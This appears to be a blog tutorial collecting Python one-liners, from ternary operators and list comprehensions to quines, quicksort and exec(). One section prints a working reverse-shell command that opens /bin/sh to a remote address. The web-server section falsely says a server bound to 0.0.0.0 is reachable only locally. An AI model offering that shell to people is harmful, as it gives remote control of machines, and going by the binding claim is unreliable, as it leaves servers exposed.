Python One Line X

This is a running document in which I’ll answer all questions regarding the single line of Python code. If you want to become a one-liner wizard, check out my book “Python One-Liners”! 🙂

Let’s get started!

Table of Contents

Python One Line If Else

You can use a simple if statement in a single line of code. This is called the ternary operator. The most basic ternary operator x if c else y returns expression x if the Boolean expression c evaluates to True. Otherwise, if the expression c evaluates to False, the ternary operator returns the alternative expression y.

Here’s a minimal example:

var = 21 if 3<2 else 42
# var == 42
Python Ternary Operator

Ternary (from Latin ternarius) is an adjective meaning “composed of three items”. (source) So, literally, the ternary operator in Python is composed of three operands.

Syntax: The three operands are written as x if c else y which reads as “return x if c else return y“. Let’s write this more intuitively as:

<OnTrue> if <Condition> else <OnFalse>
OperandDescription
<OnTrue>The return expression of the operator in case the condition evaluates to True
<Condition>The condition that determines whether to return the <On True> or the <On False> branch.
<OnFalse>The return expression of the operator in case the condition evaluates to False
Operands of the Ternary Operator

Related Tutorial: The Ternary Operator in Python — Everything You Need to Know

Let’s have a look at another minimal example in our interactive code shell:

Exercise: Run the code and input your age. What’s the output? Run the code again and try to change the output!

To boost your one-liner power, you can listen to my detailed video explanation:

However, what if you want to add an “elif” branch to your ternary operator? Is this possible in a single line?

Python One Line Elif

Python Ternary Elif

By now, you’ve learned how to write the if-else statement in a single line of code using the ternary operator. But can you do the same with an elif statement if you have multiple conditions?

Of course, you can! (If you’re in doubt about whether you can do XYZ in a single line of Python, just assume that you can. Check out my new book “Python One-Liners” to master the single line of code!)

Say, you want to write the following if-then-else condition in a single line of code:

>>> x = 42
>>> if x > 42:
>>>     print("no")
>>> elif x == 42:
>>>     print("yes")
>>> else:
>>>     print("maybe")
yes

The elif branch wins: you print the output "yes" to the shell. But how to do it in a single line of code? Just use the ternary operator with an elif statement won’t work (it’ll throw a syntax error).

The answer is simple: nest two ternary operators like so:

>>> print("no") if x > 42 else print("yes") if x == 42 else print("maybe")
yes

If the value x is larger than 42, we print “no” to the shell. Otherwise, we execute the remainder of the code (which is a ternary operator by itself). If the value x is equal to 42, we print “yes”, otherwise “maybe”.

So by nesting multiple ternary operators, we can greatly increase our Python one-liner power!

Try it yourself:

Exercise: Which method is more concise? Count the number of characters (or write a small script that does it for you ;))!

Related Article: Python Ternary Elif

Now, you know how you can add more conditions to a single-line conditional statement. An interesting question is whether you can also add fewer conditions?

Python One Line If Without Else

Crafting beautiful Python one-liners is as much an art as it is a science. In this tutorial, you’ll learn how to compress an if statement without an else branch into a single line of Python code.

Problem: What’s the one-liner equivalent of the simple if statement without an else branch?

Here’s an example:

condition = True

if condition:
    print('hi')

# hi

You may want to (i) print something, (ii) assign a value to a variable, or (iii) append an element to a list if the condition holds.

Next, I’ll show you four methods of how to accomplish this goal. All four methods are generally applicable—and you can easily customize them to your specific application.

Let’s have a quick overview of the four methods in our interactive code shell:

Exercise: Run the code for both True and False conditions. Are all methods semantically equivalent?

Read more about these methods in my detailed blog article.

Python One Line Function

The most Pythonic way to define a function in a single line is to (1) create an anonymous lambda function and (2) assign the function object to a variable name. You can then call the function by name just like any other regularly-defined function. For example, the statement f = lambda x: x+1 creates a function f that increments the argument x by one and returns the result: f(2) returns 3.

Problem: How to define a function in a single line of Python code? Let’s explore this mission-critical question!

Example: Say, you want to write the following function in a single line of code:

def f(x):
    return str(x * 3) + '!'

print(f(1))
# 3!

print(f('python'))
# pythonpythonpython!

Let’s get a quick overview of how to accomplish this first:

Exercise: Change the one-liner functions to return the uppercase version of the generated string using the string.upper() function. Then run the code to see if your output is correct!

Related Article: 3 Pythonic Ways to Define a Function in One Line [for Hackers]

Python One Line For Loop

Python is powerful — you can condense many algorithms into a single line of Python code. So the natural question arises: can you write a for loop in a single line of code? This article explores this mission-critical question in all detail.

How to Write a For Loop in a Single Line of Python Code?

There are two ways of writing a one-liner for loop:

  • If the loop body consists of one statement, simply write this statement into the same line: for i in range(10): print(i). This prints the first 10 numbers to the shell (from 0 to 9).
  • If the purpose of the loop is to create a list, use list comprehension instead: squares = [i**2 for i in range(10)]. The code squares the first ten numbers and stores them in the list squares.

Related Article: Python One Line For Loop

Python One Line For Loop If

You can also modify the list comprehension statement by restricting the context with another if statement:

Problem: Say, we want to create a list of squared numbers—but you only consider even and ignore odd numbers.

Example: The multi-liner way would be the following.

squares = []

for i in range(10):
    if i%2==0:
        squares.append(i**2)
    
print(squares)
# [0, 4, 16, 36, 64]

You create an empty list squares and successively add another square number starting from 0**2 and ending in 8**2—but only considering the even numbers 0, 2, 4, 6, 8. Thus, the result is the list [0, 4, 16, 36, 64].

Again, you can use list comprehension [i**2 for i in range(10) if i%2==0] with a restrictive if clause (in bold) in the context part to compress this in a single line of Python code:

print([i**2 for i in range(10) if i%2==0])
# [0, 4, 16, 36, 64]

This line accomplishes the same output with much less bits.

Related Article: Python One Line For Loop With If

Python One Line For Loop Lambda

Problem: Given a collection. You want to create a new list based on all values in this collection. The code should run in a single line of code. How do you accomplish this? Do you need a lambda function?

Python One Line For Loop Lambda

Example: Given an array a = [1, 2, 3, 4]. You need to create a second array b with all values of a—while adding +1 to each value. Here’s your multi-liner:

a = [1, 2, 3, 4]
b = []
for x in a:
    b.append(x+1)
print(b)
# [2, 3, 4, 5]

How do you accomplish this in a single line of code?

Answer: No, you don’t need a lambda function. What you’re looking for is a feature called list comprehension. Here’s the one-liner expression that accomplishes this without the lambda function:

b = [x+1 for x in a]
print(b)
# [2, 3, 4, 5]

You can try this example yourself in our interactive code shell:

Let’s dive into some background information in case you wonder how list comprehensions work. Based on your question, I also suspect that you don’t completely understand lambda functions either, so I’ll also add another section about lambda functions. Finally, you’ll also learn about a third alternative method to solve this exact problem by using the lambda function in combination with Python’s built-in map() function!

So, stay with me—you’ll become a better coder in the process! 🙂

Related Article: Python One Line For Loop Lambda

Python One Line While Loop

There are three ways of writing a one-liner while loop:

  • Method 1: If the loop body consists of one statement, write this statement into the same line: while True: print('hi'). This prints the string 'hi' to the shell for as long as you don’t interfere or your operating system forcefully terminates the execution.
  • Method 2: If the loop body consists of multiple statements, use the semicolon to separate them: while True: print('hi'), print('bye'). This runs the statements one after the other within the while loop.
  • Method 3: If the loop body consists nested compound statements, replace the inner compound structures with the ternary operator: while True: print('hi') if condition else print('bye').

Exercise: Run the code. What do you observe? Try to fix the infinite loop!

You can read more about these methods in our detailed blog article.

Python One Line HTTP Web Server

Want to create your own webserver in a single line of Python code? No problem, just use this command in your shell:

$ python -m http.server 8000

The terminal will tell you:

Serving HTTP on 0.0.0.0 port 8000

To shut down your webserver, kill the Python program with CTRL+c.

This works if you’ve Python 3 installed on your system. To check your version, use the command python --version in your shell.

You can run this command in your Windows Powershell, Win Command Line, MacOS Terminal, or Linux Bash Script.

You can see in the screenshot that the server runs on your local host listening on port 8000 (the standard HTTP port to serve web requests).

Note: The IP address is NOT 0.0.0.0—this is an often-confused mistake by many readers. Instead, your webserver listens at your “local” IP address 127.0.0.1 on port 8000. Thus, only web requests issued on your computer will arrive at this port. The webserver is NOT visible to the outside world.

Python 2: To run the same simple webserver on Python 2, you need to use another command using SimpleHTTPServer instead of http:

$ python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...

If you want to start your webserver from within your Python script, no problem:

import http.server
import socketserver

PORT = 8000

Handler = http.server.SimpleHTTPRequestHandler

with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print("serving at port", PORT)
    httpd.serve_forever()

You can execute this in our online Python browser (yes, you’re creating a local webserver in the browser—how cool is that)!

This code comes from the official Python documentation—feel free to read more if you’re interested in setting up the server (most of the code is relatively self-explanatory).

Source: Python One-Liner Webserver HTTP

Python One Line Write String to File

Problem: Given a string and a filename. How to write the string into the file with filename using only a single line of Python code?

Example: You have filename 'hello.txt' and you want to write string 'hello world!' into the file.

hi = 'hello world!'
file = 'hello.txt'

# Write hi in file

'''
# File: 'hello.txt':
hello world!
'''

How to achieve this? Here are four ways of doing it in a single line of code!

Here’s a quick overview in our interactive Python shell:

Exercise: Run the code and check the file 'hello.txt'. How many 'hello worlds!' are there in the file? Change the code so that only one 'hello world!' is in the file!

You can learn more about these methods in my detailed blog article!

Python One Line Quine

Most computer scientists, programmers, and hackers don’t even know the meaning of the word “Quine” in the context of programming. So, first things first:

Roughly speaking, a quine is a self-reproducing program: if you run it, it generates itself.

Here’s a great definition:

:quine: /kwi:n/ /n./ [from the name of the logician Willard van Orman Quine, via Douglas Hofstadter] A program that generates a copy of its own source text as its complete output. Devising the shortest possible quine in some given programming language is a common hackish amusement. (source)

The name “quine” was coined by Douglas Hofstadter, in his popular science book Gödel, Escher, Bach, in honor of philosopher Willard Van Orman Quine (1908–2000), who made an extensive study of indirect self-reference, and in particular for the following paradox-producing expression, known as Quine’s paradox.

Wikipedia

The shortest possible quine is the following empty program:

 

The program is self-reproducing because the output of the program is the program itself. Go ahead and run it in your own shell! 😉

Here’s a short one-liner Quine, I found at this resource:

s='s=%r;print(s%%s,sep="")';print(s%s,sep="")

Here’s the code in an interactive shell so that you can play with this Quine in your browser:

Exercise: Run the code. What’s the output? Can you explain why?

To learn about more Quines, check out my detailed blog article:

Related Article: Python One-Line Quines

Python One Line Quicksort

In this one-liner tutorial, you’ll learn about the popular sorting algorithm Quicksort. Surprisingly, a single line of Python code is all you need to write the Quicksort algorithm!

Problem: Given a list of numerical values (integer or float). Sort the list in a single line of Python code using the popular Quicksort algorithm!

Example: You have list [4, 2, 1, 42, 3]. You want to sort the list in ascending order to obtain the new list [1, 2, 3, 4, 42].

Short answer: The following one-liner solution sorts the list recursively using the Quicksort algorithm:

q = lambda l: q([x for x in l[1:] if x <= l[0]]) + [l[0]] + q([x for x in l if x > l[0]]) if l else []

You can try it yourself using the following interactive code shell:

Now, let’s dive into some details!

The following introduction is based on my new book “Python One-Liners” (Amazon Link) that teaches you the power of the single line of code (use it wisely)!

Python One-Liners

Introduction: Quicksort is not only a popular question in many code interviews – asked by Google, Facebook, and Amazon – but also a practical sorting algorithm that is fast, concise, and readable. Because of its beauty, you won’t find many introduction to algorithm classes which don’t discuss the Quicksort algorithm.

Overview: Quicksort sorts a list by recursively dividing the big problem (sorting the list) into smaller problems (sorting two smaller lists) and combining the solutions from the smaller problems in a way that it solves the big problem. In order to solve each smaller problem, the same strategy is used recursively: the smaller problems are divided into even smaller subproblems, solved separately, and combined. Because of this strategy, Quicksort belongs to the class of “Divide and Conquer” algorithms.

Algorithm: The main idea of Quicksort is to select a pivot element and then placing all elements that are larger or equal than the pivot element to the right and all elements that are smaller than the pivot element to the left. Now, you have divided the big problem of sorting the list into two smaller subproblems: sorting the right and the left partition of the list. What you do now is to repeat this procedure recursively until you obtain a list with zero elements. This list is already sorted, so the recursion terminates.

The following Figure shows the Quicksort algorithm in action:

Figure: The Quicksort algorithm selects a pivot element, splits up the list into (i) an unsorted sublist with all elements that are smaller or equal than the pivot, and (ii) an unsorted sublist with all elements that are larger than the pivot. Next, the Quicksort algorithm is called recursively on the two unsorted sublists to sort them. As soon as the sublists contain maximally one element, they are sorted by definition – the recursion ends. At every recursion level, the three sublists (left, pivot, right) are concatenated before the resulting list is handed to the higher recursion level.

You create a function q which implements the Quicksort algorithm in a single line of Python code – and thus sorts any argument given as a list of integers.

## The Data
unsorted = [33, 2, 3, 45, 6, 54, 33]


## The One-Liner
q = lambda l: q([x for x in l[1:] if x <= l[0]]) + [l[0]] + q([x for x in l if x > l[0]]) if l else []

 
## The Result
print(q(unsorted))

What is the output of this code?

## The Result
print(q(unsorted))
# [2, 3, 6, 33, 33, 45, 54]

Python One Line With Statement

Python One Line With Statement

Problem: Can you write the with statement in a single line of code?

Solution: Yes, you can write the with statement in a single line of code if the loop body consists only of one statement:

with open('code.py') as code: print(code.read())

In general, you can write any indentation block (like if statements, with environments, or while loops) in a single line of code if the body consists of only one statement.

Related Article: Python One Line With Statement

Python One Line Exception Handling

Summary: You can accomplish one line exception handling with the exec() workaround by passing the one-linerized try/except block as a string into the function like this: exec('try:print(x)\nexcept:print("Exception!")'). This general method works for all custom, even multi-line, try and except blocks. However, you should avoid this one-liner code due to the bad readability.

Surprisingly, there has been a discussion about one-line exception handling on the official Python mailing list in 2013. However, since then, there has been no new “One-Line Exception Handling” feature in Python. So, we need to stick with the methods shown in this tutorial. But they will be fun—promised!

Let’s dive into the problem:

Problem: How to write the try/except block in a single line of Python code?

Example: Consider the following try/except block.

try:
    print(x)
except:
    print('Exception!')

Solution: let’s have a quick overview in our interactive code shell:

Exercise: Run the code. Why are there only three lines of output? Modify the code such that each of the four methods generate an output!

Related Article: Read more about the one-line exception handling methods in my detailed blog tutorial.

Python One Line Execute

Problem: Given a multi-line code script in Python. How to execute this multi-line script in a single line of Python code? How to do it from the command line?

Example: Say, you have the following for loop with a nested if statement in the for loop body. You want to run this in a single line from your command line?

x = 10
for i in range(5):
    if x%2 == 0:
        print(i)
    else:
        print(x)
    x = x - 1

'''
0
9
2
7
4
'''

The code prints five numbers to the shell. It only prints the odd values of x. If x takes an even value, it prints the loop variable i.

You can write any source code into a string and run the string using the built-in exec() function in Python. This is little known—yet, hackers often use this to pack malicious code into a single line that’s seemingly harmless.

If you have code that spans multiple lines, you can pack it into a single-line string by using the newline character '\n' in your string:

# Method 1
exec('x = 10\nfor i in range(5):\n    if x%2 ==0: print(i)\n    else: print(x)\n    x = x-1')

This one-liner code snippet is semantically equivalent to the above nested for loop that requires seven lines of code! The output is the same:

'''
0
9
2
7
4
'''

Try it yourself in our interactive code shell:

Exercise: Remove the else branch of this code. What’s the output? Run the code to check if you were right!

Related Article: How to Execute Multiple Lines in a Single Line Python From Command-Line?

Python One Line Reverse Shell

Here’s the definition of a Reverse Shell:

A reverse shell is used by hackers to gain access to a target machine. The target machine opens a shell to communicate to the attacking machine. The attacking machine receives the connection (listening on a given port) and is now able to access the target computer. To accomplish a reverse shell, a hacker must execute code on a target machine. Reverse shells are also used by security engineers to test and prevent reverse shell attacks.

I found this code in a blog thread. You can run it from any computer with Python installed and visible from your current location:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

But you should never execute code that’s copy&pasted from an Internet source. What if the code removes all files from your computer?

You can read the whole article about reverse shell attacks and Trojan horses in Python here.

Python One Line Read File

Say your file is stored in file ‘code.py’. Now, you can open the file, read all lines, get rid of leading and trailing whitespace characters, and store the result in a Python list in a single line of code. Here’s the code:

print([line.strip() for line in open("code.py")])

Python is beautiful! 😍

Try it Yourself:

Related Article: One-Liner to Read a File in Python

Python One Line Return If

Problem: How to return from a Python function or method in single line?

Example: Consider the following “goal” statement:

def f(x):
    return None if x == 0

However, this leads to a Syntax error:

Here’s how to write the return statement with an if expression in a single line of Python code:

def f(x):
    if x==0: return None

I should note that PEP 8 is actually fine with writing if block statements into a single line. Nevertheless, the default return value of a function is None so the code does really nothing.

Related Article: Python One Line Return if

Python One Line Regex Match

Python One Line Recursion

Python One Line Regex

Python One Line Read File to List

Python One Line Read Stdin

Python One Line Replace

Python One Line Ternary

Ternary (from Latin ternarius) is an adjective meaning “composed of three items”. (source) So, literally, the ternary operator in Python is composed of three operands.

Syntax: The three operands are written in an intuitive combination ... if ... else ....

<On True> if <Condition> else <On False>
OperandDescription
<On True>The return expression of the operator in case the condition evaluates to True
<Condition>The condition that determines whether to return the <On True> or the <On False> branch.
<On False>The return expression of the operator in case the condition evaluates to False
Operands of the Ternary Operator

Let’s have a look at a minimum example in our interactive code shell:

Exercise: Run the code and input your age. What’s the output? Run the code again and try to change the output!

Python One Line Two For Loops

Python One Line True False

Python One Line Too Long

Python One Line Two Commands

Python One Line To Multiple Line

Python One Line URL Decode

Python One Line Or

Python One Line Object

Python One Line Open File

Python One Line Print

Python One Line Print For Loop

Python One Line Print If

Python One Line Print List

Python One Line Parse JSON

Python One Line Pretty Print JSON

Python One Line Array Filter

Python One Line Append

Python One Line And Or

Python One Line Conditional Assignment

Python One Swap

Python One Line Sum

Python One Line Sort

Python One Line Semicolon

Python One Line Dictionary

Python One Line Function Definition

Python One Line Def

Python One Line Docstring

Python One Line Dict Comprehension

Python One Line Double For Loop

Python One Line Download File

Python One Line For Loop Append

Python One Line Generator

Python One Line FizzBuzz

Python One Line HTTP Get

Python Global in One Line

Python One Line Hello World

Python One Line Comment

Python One Line Class

Python Define Two Variables in One Line

Python Define Multiple Variables in One Line

Python One Line If (Not) None

Python One Line Map